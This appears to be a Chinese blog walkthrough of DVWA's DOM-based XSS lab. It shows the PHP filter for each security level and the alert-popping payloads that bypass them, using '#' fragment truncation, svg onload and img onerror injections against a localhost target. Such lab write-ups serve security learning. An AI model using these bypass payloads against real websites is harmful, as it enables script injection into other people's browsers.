XSS(DOM)

XSS(DOM):

Low:

源代码:

<?php

# No protections, anything goes

?> 	

服务器端并没有写任何的php代码,处理用户输入的只有前端的js代码

做法:将English改为

在这里插入图片描述
回车,产生了弹窗

在这里插入图片描述

查看前端源代码,可以看到被写入了value中

在这里插入图片描述

Medium:

源代码:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {//不允许使用script标签
        header ("location: ?default=English");
        exit;
    }
}

?> 

stripos,stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写),格式stripos(string,find,start)。,防止了大小写绕过

代码第8行,不允许使用script标签

方法一:加#号截断,url中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤,构造连接

http://127.0.0.1/DVWA/vulnerabilities/xss_d/?#default=%3Cscript%3Ealert('xss')%3C/script%3E

方法二:尝试其他标签特性执行js代码

127.0.0.1/DVWA/vulnerabilities/xss_d/?default=</option></select><svg οnlοad=alert("xss")>

High:

源代码:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

分析代码,要求default的值必须为select选择菜单中的值,使用#符号绕过就行

?default=English#</option></select><img src=xss οnerrοr=alert(/xss/)>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值